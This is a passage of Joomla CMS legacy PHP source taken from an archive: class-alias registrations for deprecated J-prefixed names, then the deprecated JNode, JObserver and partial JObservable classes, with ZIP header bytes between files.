'\\Joomla\\CMS\\Document\\HtmlDocument', '5.0'); JLoader::registerAlias('JDocumentImage', '\\Joomla\\CMS\\Document\\ImageDocument', '5.0'); JLoader::registerAlias('JDocumentJson', '\\Joomla\\CMS\\Document\\JsonDocument', '5.0'); JLoader::registerAlias('JDocumentOpensearch', '\\Joomla\\CMS\\Document\\OpensearchDocument', '5.0'); JLoader::registerAlias('JDocumentRaw', '\\Joomla\\CMS\\Document\\RawDocument', '5.0'); JLoader::registerAlias('JDocumentRenderer', '\\Joomla\\CMS\\Document\\DocumentRenderer', '5.0'); JLoader::registerAlias('JDocumentXml', '\\Joomla\\CMS\\Document\\XmlDocument', '5.0'); JLoader::registerAlias('JDocumentRendererFeedAtom', '\\Joomla\\CMS\\Document\\Renderer\\Feed\\AtomRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererFeedRss', '\\Joomla\\CMS\\Document\\Renderer\\Feed\\RssRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererHtmlComponent', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ComponentRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererHtmlHead', '\\Joomla\\CMS\\Document\\Renderer\\Html\\HeadRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererHtmlMessage', '\\Joomla\\CMS\\Document\\Renderer\\Html\\MessageRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererHtmlModule', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ModuleRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererHtmlModules', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ModulesRenderer', '5.0'); JLoader::registerAlias('JDocumentRendererAtom', '\\Joomla\\CMS\\Document\\Renderer\\Feed\\AtomRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererRSS', '\\Joomla\\CMS\\Document\\Renderer\\Feed\\RssRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererComponent', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ComponentRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererHead', '\\Joomla\\CMS\\Document\\Renderer\\Html\\HeadRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererMessage', '\\Joomla\\CMS\\Document\\Renderer\\Html\\MessageRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererModule', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ModuleRenderer', '4.0'); JLoader::registerAlias('JDocumentRendererModules', '\\Joomla\\CMS\\Document\\Renderer\\Html\\ModulesRenderer', '4.0'); JLoader::registerAlias('JFeedEnclosure', '\\Joomla\\CMS\\Document\\Feed\\FeedEnclosure', '5.0'); JLoader::registerAlias('JFeedImage', '\\Joomla\\CMS\\Document\\Feed\\FeedImage', '5.0'); JLoader::registerAlias('JFeedItem', '\\Joomla\\CMS\\Document\\Feed\\FeedItem', '5.0'); JLoader::registerAlias('JOpenSearchImage', '\\Joomla\\CMS\\Document\\Opensearch\\OpensearchImage', '5.0'); JLoader::registerAlias('JOpenSearchUrl', '\\Joomla\\CMS\\Document\\Opensearch\\OpensearchUrl', '5.0'); JLoader::registerAlias('JFilterInput', '\\Joomla\\CMS\\Filter\\InputFilter', '5.0'); JLoader::registerAlias('JFilterOutput', '\\Joomla\\CMS\\Filter\\OutputFilter', '5.0'); JLoader::registerAlias('JFilterWrapperOutput', '\\Joomla\\CMS\\Filter\\Wrapper\\OutputFilterWrapper', '4.0'); JLoader::registerAlias('JHttp', '\\Joomla\\CMS\\Http\\Http', '5.0'); JLoader::registerAlias('JHttpFactory', '\\Joomla\\CMS\\Http\\HttpFactory', '5.0'); JLoader::registerAlias('JHttpResponse', '\\Joomla\\CMS\\Http\\Response', '5.0'); JLoader::registerAlias('JHttpTransport', '\\Joomla\\CMS\\Http\\TransportInterface', '5.0'); JLoader::registerAlias('JHttpTransportCurl', '\\Joomla\\CMS\\Http\\Transport\\CurlTransport', '5.0'); JLoader::registerAlias('JHttpTransportSocket', '\\Joomla\\CMS\\Http\\Transport\\SocketTransport', '5.0'); JLoader::registerAlias('JHttpTransportStream', '\\Joomla\\CMS\\Http\\Transport\\StreamTransport', '5.0'); JLoader::registerAlias('JHttpWrapperFactory', '\\Joomla\\CMS\\Http\\Wrapper\\FactoryWrapper', '4.0'); JLoader::registerAlias('JInstaller', '\\Joomla\\CMS\\Installer\\Installer', '5.0'); JLoader::registerAlias('JInstallerAdapter', '\\Joomla\\CMS\\Installer\\InstallerAdapter', '5.0'); JLoader::registerAlias('JInstallerExtension', '\\Joomla\\CMS\\Installer\\InstallerExtension', '5.0'); JLoader::registerAlias('JExtension', '\\Joomla\\CMS\\Installer\\InstallerExtension', '5.0'); JLoader::registerAlias('JInstallerHelper', '\\Joomla\\CMS\\Installer\\InstallerHelper', '5.0'); JLoader::registerAlias('JInstallerScript', '\\Joomla\\CMS\\Installer\\InstallerScript', '5.0'); JLoader::registerAlias('JInstallerManifest', '\\Joomla\\CMS\\Installer\\Manifest', '5.0'); JLoader::registerAlias('JInstallerAdapterComponent', '\\Joomla\\CMS\\Installer\\Adapter\\ComponentAdapter', '5.0'); JLoader::registerAlias('JInstallerComponent', '\\Joomla\\CMS\\Installer\\Adapter\\ComponentAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterFile', '\\Joomla\\CMS\\Installer\\Adapter\\FileAdapter', '5.0'); JLoader::registerAlias('JInstallerFile', '\\Joomla\\CMS\\Installer\\Adapter\\FileAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterLanguage', '\\Joomla\\CMS\\Installer\\Adapter\\LanguageAdapter', '5.0'); JLoader::registerAlias('JInstallerLanguage', '\\Joomla\\CMS\\Installer\\Adapter\\LanguageAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterLibrary', '\\Joomla\\CMS\\Installer\\Adapter\\LibraryAdapter', '5.0'); JLoader::registerAlias('JInstallerLibrary', '\\Joomla\\CMS\\Installer\\Adapter\\LibraryAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterModule', '\\Joomla\\CMS\\Installer\\Adapter\\ModuleAdapter', '5.0'); JLoader::registerAlias('JInstallerModule', '\\Joomla\\CMS\\Installer\\Adapter\\ModuleAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterPackage', '\\Joomla\\CMS\\Installer\\Adapter\\PackageAdapter', '5.0'); JLoader::registerAlias('JInstallerPackage', '\\Joomla\\CMS\\Installer\\Adapter\\PackageAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterPlugin', '\\Joomla\\CMS\\Installer\\Adapter\\PluginAdapter', '5.0'); JLoader::registerAlias('JInstallerPlugin', '\\Joomla\\CMS\\Installer\\Adapter\\PluginAdapter', '5.0'); JLoader::registerAlias('JInstallerAdapterTemplate', '\\Joomla\\CMS\\Installer\\Adapter\\TemplateAdapter', '5.0'); JLoader::registerAlias('JInstallerTemplate', '\\Joomla\\CMS\\Installer\\Adapter\\TemplateAdapter', '5.0'); JLoader::registerAlias('JInstallerManifestLibrary', '\\Joomla\\CMS\\Installer\\Manifest\\LibraryManifest', '5.0'); JLoader::registerAlias('JInstallerManifestPackage', '\\Joomla\\CMS\\Installer\\Manifest\\PackageManifest', '5.0'); JLoader::registerAlias('JRouterAdministrator', '\\Joomla\\CMS\\Router\\AdministratorRouter', '5.0'); JLoader::registerAlias('JRoute', '\\Joomla\\CMS\\Router\\Route', '5.0'); JLoader::registerAlias('JRouter', '\\Joomla\\CMS\\Router\\Router', '5.0'); JLoader::registerAlias('JRouterSite', '\\Joomla\\CMS\\Router\\SiteRouter', '5.0'); JLoader::registerAlias('JCategories', '\\Joomla\\CMS\\Categories\\Categories', '5.0'); JLoader::registerAlias('JCategoryNode', '\\Joomla\\CMS\\Categories\\CategoryNode', '5.0'); JLoader::registerAlias('JDate', '\\Joomla\\CMS\\Date\\Date', '5.0'); JLoader::registerAlias('JLog', '\\Joomla\\CMS\\Log\\Log', '5.0'); JLoader::registerAlias('JLogEntry', '\\Joomla\\CMS\\Log\\LogEntry', '5.0'); JLoader::registerAlias('JLogLogger', '\\Joomla\\CMS\\Log\\Logger', '5.0'); JLoader::registerAlias('JLogger', '\\Joomla\\CMS\\Log\\Logger', '5.0'); JLoader::registerAlias('JLogLoggerCallback', '\\Joomla\\CMS\\Log\\Logger\\CallbackLogger', '5.0'); JLoader::registerAlias('JLogLoggerDatabase', '\\Joomla\\CMS\\Log\\Logger\\DatabaseLogger', '5.0'); JLoader::registerAlias('JLogLoggerEcho', '\\Joomla\\CMS\\Log\\Logger\\EchoLogger', '5.0'); JLoader::registerAlias('JLogLoggerFormattedtext', '\\Joomla\\CMS\\Log\\Logger\\FormattedtextLogger', '5.0'); JLoader::registerAlias('JLogLoggerMessagequeue', '\\Joomla\\CMS\\Log\\Logger\\MessagequeueLogger', '5.0'); JLoader::registerAlias('JLogLoggerSyslog', '\\Joomla\\CMS\\Log\\Logger\\SyslogLogger', '5.0'); JLoader::registerAlias('JLogLoggerW3c', '\\Joomla\\CMS\\Log\\Logger\\W3cLogger', '5.0'); JLoader::registerAlias('JProfiler', '\\Joomla\\CMS\\Profiler\\Profiler', '5.0'); JLoader::registerAlias('JUri', '\\Joomla\\CMS\\Uri\\Uri', '5.0'); JLoader::registerAlias('JCache', '\\Joomla\\CMS\\Cache\\Cache', '5.0'); JLoader::registerAlias('JCacheController', '\\Joomla\\CMS\\Cache\\CacheController', '5.0'); JLoader::registerAlias('JCacheStorage', '\\Joomla\\CMS\\Cache\\CacheStorage', '5.0'); JLoader::registerAlias('JCacheControllerCallback', '\\Joomla\\CMS\\Cache\\Controller\\CallbackController', '5.0'); JLoader::registerAlias('JCacheControllerOutput', '\\Joomla\\CMS\\Cache\\Controller\\OutputController', '5.0'); JLoader::registerAlias('JCacheControllerPage', '\\Joomla\\CMS\\Cache\\Controller\\PageController', '5.0'); JLoader::registerAlias('JCacheControllerView', '\\Joomla\\CMS\\Cache\\Controller\\ViewController', '5.0'); JLoader::registerAlias('JCacheStorageApc', '\\Joomla\\CMS\\Cache\\Storage\\ApcStorage', '4.0'); JLoader::registerAlias('JCacheStorageApcu', '\\Joomla\\CMS\\Cache\\Storage\\ApcuStorage', '5.0'); JLoader::registerAlias('JCacheStorageHelper', '\\Joomla\\CMS\\Cache\\Storage\\CacheStorageHelper', '5.0'); JLoader::registerAlias('JCacheStorageCachelite', '\\Joomla\\CMS\\Cache\\Storage\\CacheliteStorage', '4.0'); JLoader::registerAlias('JCacheStorageFile', '\\Joomla\\CMS\\Cache\\Storage\\FileStorage', '5.0'); JLoader::registerAlias('JCacheStorageMemcached', '\\Joomla\\CMS\\Cache\\Storage\\MemcachedStorage', '5.0'); JLoader::registerAlias('JCacheStorageMemcache', '\\Joomla\\CMS\\Cache\\Storage\\MemcacheStorage', '4.0'); JLoader::registerAlias('JCacheStorageRedis', '\\Joomla\\CMS\\Cache\\Storage\\RedisStorage', '5.0'); JLoader::registerAlias('JCacheStorageWincache', '\\Joomla\\CMS\\Cache\\Storage\\WincacheStorage', '5.0'); JLoader::registerAlias('JCacheStorageXcache', '\\Joomla\\CMS\\Cache\\Storage\\XcacheStorage', '4.0'); JLoader::registerAlias('JCacheException', '\\Joomla\\CMS\\Cache\\Exception\\CacheExceptionInterface', '5.0'); JLoader::registerAlias('JCacheExceptionConnecting', '\\Joomla\\CMS\\Cache\\Exception\\CacheConnectingException', '5.0'); JLoader::registerAlias('JCacheExceptionUnsupported', '\\Joomla\\CMS\\Cache\\Exception\\UnsupportedCacheException', '5.0'); JLoader::registerAlias('JSession', '\\Joomla\\CMS\\Session\\Session', '5.0'); JLoader::registerAlias('JSessionExceptionUnsupported', '\\Joomla\\CMS\\Session\\Exception\\UnsupportedStorageException', '5.0'); JLoader::registerAlias('JUser', '\\Joomla\\CMS\\User\\User', '5.0'); JLoader::registerAlias('JUserHelper', '\\Joomla\\CMS\\User\\UserHelper', '5.0'); JLoader::registerAlias('JUserWrapperHelper', '\\Joomla\\CMS\\User\\UserWrapper', '4.0'); JLoader::registerAlias('JForm', '\\Joomla\\CMS\\Form\\Form', '5.0'); JLoader::registerAlias('JFormField', '\\Joomla\\CMS\\Form\\FormField', '5.0'); JLoader::registerAlias('JFormHelper', '\\Joomla\\CMS\\Form\\FormHelper', '5.0'); JLoader::registerAlias('JFormRule', '\\Joomla\\CMS\\Form\\FormRule', '5.0'); JLoader::registerAlias('JFormWrapper', '\\Joomla\\CMS\\Form\\FormWrapper', '4.0'); JLoader::registerAlias('JFormFieldAuthor', '\\Joomla\\CMS\\Form\\Field\\AuthorField', '5.0'); JLoader::registerAlias('JFormFieldCaptcha', '\\Joomla\\CMS\\Form\\Field\\CaptchaField', '5.0'); JLoader::registerAlias('JFormFieldChromeStyle', '\\Joomla\\CMS\\Form\\Field\\ChromestyleField', '5.0'); JLoader::registerAlias('JFormFieldContenthistory', '\\Joomla\\CMS\\Form\\Field\\ContenthistoryField', '5.0'); JLoader::registerAlias('JFormFieldContentlanguage', '\\Joomla\\CMS\\Form\\Field\\ContentlanguageField', '5.0'); JLoader::registerAlias('JFormFieldContenttype', '\\Joomla\\CMS\\Form\\Field\\ContenttypeField', '5.0'); JLoader::registerAlias('JFormFieldEditor', '\\Joomla\\CMS\\Form\\Field\\EditorField', '5.0'); JLoader::registerAlias('JFormFieldFrontend_Language', '\\Joomla\\CMS\\Form\\Field\\FrontendlanguageField', '5.0'); JLoader::registerAlias('JFormFieldHeadertag', '\\Joomla\\CMS\\Form\\Field\\HeadertagField', '5.0'); JLoader::registerAlias('JFormFieldHelpsite', '\\Joomla\\CMS\\Form\\Field\\HelpsiteField', '5.0'); JLoader::registerAlias('JFormFieldLastvisitDateRange', '\\Joomla\\CMS\\Form\\Field\\LastvisitdaterangeField', '5.0'); JLoader::registerAlias('JFormFieldLimitbox', '\\Joomla\\CMS\\Form\\Field\\LimitboxField', '5.0'); JLoader::registerAlias('JFormFieldMedia', '\\Joomla\\CMS\\Form\\Field\\MediaField', '5.0'); JLoader::registerAlias('JFormFieldMenu', '\\Joomla\\CMS\\Form\\Field\\MenuField', '5.0'); JLoader::registerAlias('JFormFieldMenuitem', '\\Joomla\\CMS\\Form\\Field\\MenuitemField', '5.0'); JLoader::registerAlias('JFormFieldModuleOrder', '\\Joomla\\CMS\\Form\\Field\\ModuleorderField', '5.0'); JLoader::registerAlias('JFormFieldModulePosition', '\\Joomla\\CMS\\Form\\Field\\ModulepositionField', '5.0'); JLoader::registerAlias('JFormFieldModuletag', '\\Joomla\\CMS\\Form\\Field\\ModuletagField', '5.0'); JLoader::registerAlias('JFormFieldOrdering', '\\Joomla\\CMS\\Form\\Field\\OrderingField', '5.0'); JLoader::registerAlias('JFormFieldPlugin_Status', '\\Joomla\\CMS\\Form\\Field\\PluginstatusField', '5.0'); JLoader::registerAlias('JFormFieldRedirect_Status', '\\Joomla\\CMS\\Form\\Field\\RedirectStatusField', '5.0'); JLoader::registerAlias('JFormFieldRegistrationDateRange', '\\Joomla\\CMS\\Form\\Field\\RegistrationdaterangeField', '5.0'); JLoader::registerAlias('JFormFieldStatus', '\\Joomla\\CMS\\Form\\Field\\StatusField', '5.0'); JLoader::registerAlias('JFormFieldTag', '\\Joomla\\CMS\\Form\\Field\\TagField', '5.0'); JLoader::registerAlias('JFormFieldTemplatestyle', '\\Joomla\\CMS\\Form\\Field\\TemplatestyleField', '5.0'); JLoader::registerAlias('JFormFieldUserActive', '\\Joomla\\CMS\\Form\\Field\\UseractiveField', '5.0'); JLoader::registerAlias('JFormFieldUserGroupList', '\\Joomla\\CMS\\Form\\Field\\UsergrouplistField', '5.0'); JLoader::registerAlias('JFormFieldUserState', '\\Joomla\\CMS\\Form\\Field\\UserstateField', '5.0'); JLoader::registerAlias('JFormFieldUser', '\\Joomla\\CMS\\Form\\Field\\UserField', '5.0'); JLoader::registerAlias('JFormRuleBoolean', '\\Joomla\\CMS\\Form\\Rule\\BooleanRule', '5.0'); JLoader::registerAlias('JFormRuleCalendar', '\\Joomla\\CMS\\Form\\Rule\\CalendarRule', '5.0'); JLoader::registerAlias('JFormRuleCaptcha', '\\Joomla\\CMS\\Form\\Rule\\CaptchaRule', '5.0'); JLoader::registerAlias('JFormRuleColor', '\\Joomla\\CMS\\Form\\Rule\\ColorRule', '5.0'); JLoader::registerAlias('JFormRuleEmail', '\\Joomla\\CMS\\Form\\Rule\\EmailRule', '5.0'); JLoader::registerAlias('JFormRuleEquals', '\\Joomla\\CMS\\Form\\Rule\\EqualsRule', '5.0'); JLoader::registerAlias('JFormRuleNotequals', '\\Joomla\\CMS\\Form\\Rule\\NotequalsRule', '5.0'); JLoader::registerAlias('JFormRuleNumber', '\\Joomla\\CMS\\Form\\Rule\\NumberRule', '5.0'); JLoader::registerAlias('JFormRuleOptions', '\\Joomla\\CMS\\Form\\Rule\\OptionsRule', '5.0'); JLoader::registerAlias('JFormRulePassword', '\\Joomla\\CMS\\Form\\Rule\\PasswordRule', '5.0'); JLoader::registerAlias('JFormRuleRules', '\\Joomla\\CMS\\Form\\Rule\\RulesRule', '5.0'); JLoader::registerAlias('JFormRuleTel', '\\Joomla\\CMS\\Form\\Rule\\TelRule', '5.0'); JLoader::registerAlias('JFormRuleUrl', '\\Joomla\\CMS\\Form\\Rule\\UrlRule', '5.0'); JLoader::registerAlias('JFormRuleUsername', '\\Joomla\\CMS\\Form\\Rule\\UsernameRule', '5.0'); JLoader::registerAlias('JMicrodata', '\\Joomla\\CMS\\Microdata\\Microdata', '5.0'); JLoader::registerAlias('JFactory', '\\Joomla\\CMS\\Factory', '5.0'); JLoader::registerAlias('JMail', '\\Joomla\\CMS\\Mail\\Mail', '5.0'); JLoader::registerAlias('JMailHelper', '\\Joomla\\CMS\\Mail\\MailHelper', '5.0'); JLoader::registerAlias('JMailWrapperHelper', '\\Joomla\\CMS\\Mail\\MailWrapper', '4.0'); JLoader::registerAlias('JClientHelper', '\\Joomla\\CMS\\Client\\ClientHelper', '5.0'); JLoader::registerAlias('JClientWrapperHelper', '\\Joomla\\CMS\\Client\\ClientWrapper', '5.0'); JLoader::registerAlias('JClientFtp', '\\Joomla\\CMS\\Client\\FtpClient', '5.0'); JLoader::registerAlias('JFTP', '\\Joomla\\CMS\\Client\\FtpClient', '4.0'); JLoader::registerAlias('JClientLdap', '\\Joomla\\Ldap\\LdapClient', '5.0'); JLoader::registerAlias('JLDAP', '\\Joomla\\Ldap\\LdapClient', '4.0'); JLoader::registerAlias('JUpdate', '\\Joomla\\CMS\\Updater\\Update', '5.0'); JLoader::registerAlias('JUpdateAdapter', '\\Joomla\\CMS\\Updater\\UpdateAdapter', '5.0'); JLoader::registerAlias('JUpdater', '\\Joomla\\CMS\\Updater\\Updater', '5.0'); JLoader::registerAlias('JUpdaterCollection', '\\Joomla\\CMS\\Updater\\Adapter\\CollectionAdapter', '5.0'); JLoader::registerAlias('JUpdaterExtension', '\\Joomla\\CMS\\Updater\\Adapter\\ExtensionAdapter', '5.0'); JLoader::registerAlias('JCrypt', '\\Joomla\\CMS\\Crypt\\Crypt', '5.0'); JLoader::registerAlias('JCryptCipher', '\\Joomla\\CMS\\Crypt\\CipherInterface', '5.0'); JLoader::registerAlias('JCryptKey', '\\Joomla\\CMS\\Crypt\\Key', '5.0'); JLoader::registerAlias('JCryptPassword', '\\Joomla\\CMS\\Crypt\\CryptPassword', '4.0'); JLoader::registerAlias('JCryptCipherBlowfish', '\\Joomla\\CMS\\Crypt\\Cipher\\BlowfishCipher', '4.0'); JLoader::registerAlias('JCryptCipherCrypto', '\\Joomla\\CMS\\Crypt\\Cipher\\CryptoCipher', '5.0'); JLoader::registerAlias('JCryptCipherMcrypt', '\\Joomla\\CMS\\Crypt\\Cipher\\McryptCipher', '4.0'); JLoader::registerAlias('JCryptCipherRijndael256', '\\Joomla\\CMS\\Crypt\\Cipher\\Rijndael256Cipher', '4.0'); JLoader::registerAlias('JCryptCipherSimple', '\\Joomla\\CMS\\Crypt\\Cipher\\SimpleCipher', '4.0'); JLoader::registerAlias('JCryptCipherSodium', '\\Joomla\\CMS\\Crypt\\Cipher\\SodiumCipher', '5.0'); JLoader::registerAlias('JCryptCipher3Des', '\\Joomla\\CMS\\Crypt\\Cipher\\TripleDesCipher', '4.0'); JLoader::registerAlias('JCryptPasswordSimple', '\\Joomla\\CMS\\Crypt\\Password\\SimpleCryptPassword', '4.0'); JLoader::registerAlias('JStringPunycode', '\\Joomla\\CMS\\String\\PunycodeHelper', '5.0'); JLoader::registerAlias('JBuffer', '\\Joomla\\CMS\\Utility\\BufferStreamHandler', '5.0'); JLoader::registerAlias('JUtility', '\\Joomla\\CMS\\Utility\\Utility', '5.0'); JLoader::registerAlias('JInputCli', '\\Joomla\\CMS\\Input\\Cli', '5.0'); JLoader::registerAlias('JInputCookie', '\\Joomla\\CMS\\Input\\Cookie', '5.0'); JLoader::registerAlias('JInputFiles', '\\Joomla\\CMS\\Input\\Files', '5.0'); JLoader::registerAlias('JInput', '\\Joomla\\CMS\\Input\\Input', '5.0'); JLoader::registerAlias('JInputJSON', '\\Joomla\\CMS\\Input\\Json', '5.0'); JLoader::registerAlias('JFeed', '\\Joomla\\CMS\\Feed\\Feed', '5.0'); JLoader::registerAlias('JFeedEntry', '\\Joomla\\CMS\\Feed\\FeedEntry', '5.0'); JLoader::registerAlias('JFeedFactory', '\\Joomla\\CMS\\Feed\\FeedFactory', '5.0'); JLoader::registerAlias('JFeedLink', '\\Joomla\\CMS\\Feed\\FeedLink', '5.0'); JLoader::registerAlias('JFeedParser', '\\Joomla\\CMS\\Feed\\FeedParser', '5.0'); JLoader::registerAlias('JFeedPerson', '\\Joomla\\CMS\\Feed\\FeedPerson', '5.0'); JLoader::registerAlias('JFeedParserAtom', '\\Joomla\\CMS\\Feed\\Parser\\AtomParser', '5.0'); JLoader::registerAlias('JFeedParserNamespace', '\\Joomla\\CMS\\Feed\\Parser\\NamespaceParserInterface', '5.0'); JLoader::registerAlias('JFeedParserRss', '\\Joomla\\CMS\\Feed\\Parser\\RssParser', '5.0'); JLoader::registerAlias('JFeedParserRssItunes', '\\Joomla\\CMS\\Feed\\Parser\\Rss\\ItunesRssParser', '5.0'); JLoader::registerAlias('JFeedParserRssMedia', '\\Joomla\\CMS\\Feed\\Parser\\Rss\\MediaRssParser', '5.0'); JLoader::registerAlias('JImage', '\\Joomla\\CMS\\Image\\Image', '5.0'); JLoader::registerAlias('JImageFilter', '\\Joomla\\CMS\\Image\\ImageFilter', '5.0'); JLoader::registerAlias('JImageFilterBackgroundfill', '\\Joomla\\Image\\Filter\\Backgroundfill', '5.0'); JLoader::registerAlias('JImageFilterBrightness', '\\Joomla\\Image\\Filter\\Brightness', '5.0'); JLoader::registerAlias('JImageFilterContrast', '\\Joomla\\Image\\Filter\\Contrast', '5.0'); JLoader::registerAlias('JImageFilterEdgedetect', '\\Joomla\\Image\\Filter\\Edgedetect', '5.0'); JLoader::registerAlias('JImageFilterEmboss', '\\Joomla\\Image\\Filter\\Emboss', '5.0'); JLoader::registerAlias('JImageFilterNegate', '\\Joomla\\Image\\Filter\\Negate', '5.0'); JLoader::registerAlias('JImageFilterSketchy', '\\Joomla\\Image\\Filter\\Sketchy', '5.0'); JLoader::registerAlias('JImageFilterSmooth', '\\Joomla\\Image\\Filter\\Smooth', '5.0'); JLoader::registerAlias('JObject', '\\Joomla\\CMS\\Object\\CMSObject', '5.0'); JLoader::registerAlias('JExtensionHelper', '\\Joomla\\CMS\\Extension\\ExtensionHelper', '5.0'); JLoader::registerAlias('JHtml', '\\Joomla\\CMS\\HTML\\HTMLHelper', '5.0'); JLoader::registerAlias('JFile', '\\Joomla\\CMS\\Filesystem\\File', '5.0'); JLoader::registerAlias('JFolder', '\\Joomla\\CMS\\Filesystem\\Folder', '5.0'); JLoader::registerAlias('JFilesystemHelper', '\\Joomla\\CMS\\Filesystem\\FilesystemHelper', '5.0'); JLoader::registerAlias('JFilesystemPatcher', '\\Joomla\\CMS\\Filesystem\\Patcher', '5.0'); JLoader::registerAlias('JPath', '\\Joomla\\CMS\\Filesystem\\Path', '5.0'); JLoader::registerAlias('JStream', '\\Joomla\\CMS\\Filesystem\\Stream', '5.0'); JLoader::registerAlias('JStreamString', '\\Joomla\\CMS\\Filesystem\\Streams\\StreamString', '5.0'); JLoader::registerAlias('JStringController', '\\Joomla\\CMS\\Filesystem\\Support\\StringController', '5.0'); JLoader::registerAlias('JFilesystemWrapperFile', '\\Joomla\\CMS\\Filesystem\\Wrapper\\FileWrapper', '5.0'); JLoader::registerAlias('JFilesystemWrapperFolder', '\\Joomla\\CMS\\Filesystem\\Wrapper\\FolderWrapper', '5.0'); JLoader::registerAlias('JFilesystemWrapperPath', '\\Joomla\\CMS\\Filesystem\\Wrapper\\PathWrapper', '5.0'); JLoader::registerAlias('JAdapter', '\\Joomla\\CMS\\Adapter\\Adapter', '5.0'); JLoader::registerAlias('JAdapterInstance', '\\Joomla\\CMS\\Adapter\\AdapterInstance', '5.0'); PK���\�'c��legacy/base/node.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Base * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Tree Node Class. * * @since 1.5 * @deprecated 3.0 */ class JNode extends JObject { /** * Parent node * * @var JNode * @since 1.5 * @deprecated 3.0 */ protected $_parent = null; /** * Array of Children * * @var JNode[] * @since 1.5 * @deprecated 3.0 */ protected $_children = array(); /** * Constructor * * @since 1.5 * @deprecated 3.0 */ public function __construct() { JLog::add('JNode::__construct() is deprecated.', JLog::WARNING, 'deprecated'); return true; } /** * Add child to this node * * If the child already has a parent, the link is unset * * @param JNode &$child The child to be added * * @return void * * @since 1.5 * @deprecated 3.0 */ public function addChild(&$child) { JLog::add('JNode::addChild() is deprecated.', JLog::WARNING, 'deprecated'); if ($child instanceof Jnode) { $child->setParent($this); } } /** * Set the parent of a this node * * If the node already has a parent, the link is unset * * @param JNode|null &$parent The JNode for parent to be set or null * * @return void * * @since 1.5 * @deprecated 3.0 */ public function setParent(&$parent) { JLog::add('JNode::setParent() is deprecated.', JLog::WARNING, 'deprecated'); if ($parent instanceof JNode || $parent === null) { $hash = spl_object_hash($this); if ($this->_parent !== null) { unset($this->_parent->children[$hash]); } if ($parent !== null) { $parent->_children[$hash] = & $this; } $this->_parent = & $parent; } } /** * Get the children of this node * * @return JNode[] The children * * @since 1.5 * @deprecated 3.0 */ public function &getChildren() { JLog::add('JNode::getChildren() is deprecated.', JLog::WARNING, 'deprecated'); return $this->_children; } /** * Get the parent of this node * * @return JNode|null JNode object with the parent or null for no parent * * @since 1.5 * @deprecated 3.0 */ public function &getParent() { JLog::add('JNode::getParent() is deprecated.', JLog::WARNING, 'deprecated'); return $this->_parent; } /** * Test if this node has children * * @return boolean True if there are children * * @since 1.5 * @deprecated 3.0 */ public function hasChildren() { JLog::add('JNode::hasChildren() is deprecated.', JLog::WARNING, 'deprecated'); return (bool) count($this->_children); } /** * Test if this node has a parent * * @return boolean True if there is a parent * * @since 1.6 * @deprecated 3.0 */ public function hasParent() { JLog::add('JNode::hasParent() is deprecated.', JLog::WARNING, 'deprecated'); return $this->getParent() != null; } } PK���\���tcclegacy/base/observer.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Base * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Abstract observer class to implement the observer design pattern * * @since 1.5 * @deprecated 2.5 */ abstract class JObserver extends JObject { /** * Event object to observe. * * @var object * @since 1.5 * @deprecated 2.5 */ protected $_subject = null; /** * Constructor * * @param object &$subject The object to observe. * * @since 1.5 * @deprecated 2.5 */ public function __construct(&$subject) { // Register the observer ($this) so we can be notified $subject->attach($this); // Set the subject to observe $this->_subject = &$subject; } /** * Method to update the state of observable objects * * @param array &$args An array of arguments to pass to the listener. * * @return mixed * * @since 1.5 * @deprecated 2.5 */ abstract public function update(&$args); } PK���\[��++legacy/base/observable.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Base * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Abstract observable class to implement the observer design pattern * * @since 1.5 * @deprecated 2.5 */ class JObservable extends JObject { /** * An array of Observer objects to notify * * @var array * @since 1.5 * @deprecated 2.5 */ protected $_observers = array(); /** * The state of the observable object * * @var mixed * @since 1.5 * @deprecated 2.5 */ protected $_state = null; /** * A multi dimensional array of [function][] = key for observers * * @var array * @since 1.6 * @deprecated 2.5 */ protected $_methods = array(); /** * Constructor * * Note: Make Sure it's not directly instantiated * * @since 1.5 * @deprecated 2.5 */ public function __construct() { $this->_observers = array(); } /** * Get the state of the JObservable object * * @return mixed The state of the object. * * @since 1.5 * @deprecated 2.5 */ public function getState() { return $this->_state; } /** * Update each attached observer object and return an array of their return values * * @return array Array of return values from the observers * * @since 1.5 * @deprecated 2.5 */ public function notify() { // Iterate through the _observers array foreach ($this->_observers as $observer) { $return[] = $observer->update(); } return $return; } /** * Attach an observer object * * @param object $observer An observer object to attach * * @return void * * @since 1.5 * @deprecated 2.5 */ public function attach($observer) { if (is_array($observer)) { if (!isset($observer['handler']) || !isset($observer['event']) || !is_callable($observer['handler'])) { return; } // Make sure we haven't already attached this array as an observer foreach ($this->_observers as $check) { if (is_array($check) && $check['event'] == $observer['event'] && $check['handler'] == $observer['handler']) { return; } } $this->_observers[] = $observer; end($this->_observers); $methods = array($observer['event']); } else { if (!($observer instanceof JObserver)) { return; } // Make sure we haven't already attached this object as an observer $class = get_class($observer); foreach 